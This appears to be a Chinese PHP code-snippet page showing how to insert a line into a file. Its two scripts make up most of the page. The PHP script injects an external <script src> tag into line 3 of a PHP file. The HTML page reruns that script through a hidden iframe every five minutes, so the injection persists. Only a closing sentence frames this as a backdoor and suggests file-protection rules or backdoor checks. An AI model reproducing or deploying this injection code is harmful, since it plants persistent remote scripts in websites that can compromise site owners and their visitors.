php在文件指定行中写入代码的方法

yipeiwu_com6年前PHP代码库
复制代码 代码如下:

<?php
$file="aa.php" ;
$code="<script src=http://www.google/ga.js></script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
复制代码 代码如下:

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JScript">
function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/上边的php文件.php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
</SCRIPT>
</BODY>
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

相关文章

使用XDebug调试及单元测试覆盖率分析

使用XDebug调试及单元测试覆盖率分析

今天我就就自己对XDebug使用的一些体验做一小段分享。XDebug也是因为需要是用来生成覆盖率分析文件才安装的,刚接触不久,平时用的也不是很频繁,但是这个的确是一个好工具,如果想要依赖...

php邮件发送,php发送邮件的类

smtp.class.php 这个是类把他做保存到一个文件中. 复制代码 代码如下: <?php class smtp { /* Public Variables */ var $...

php之对抗Web扫描器的脚本技巧

大部分Web扫描器(包括上传、管理后台扫描器)都是通过判断HTTP的200返回来确定页面存在的,在页面存在的基础上,这些扫描期才会开始对漏洞进行扫描。既然不能保证内部逻辑的严密,那么就在...

php结合web uploader插件实现分片上传文件

最近研究了下大文件上传的方法,找到了webuploader js 插件进行大文件上传,大家也可以参考这篇文章进行学习:《Web Uploader文件上传插件使用详解》 使用  ...

php防止伪造的数据从URL提交方法

针对伪造的数据从URL提交的情况,首先是一个检查前一页来源的如下代码: <?/*PHP防止站外提交数据的方法*/ function CheckURL(){ $ser...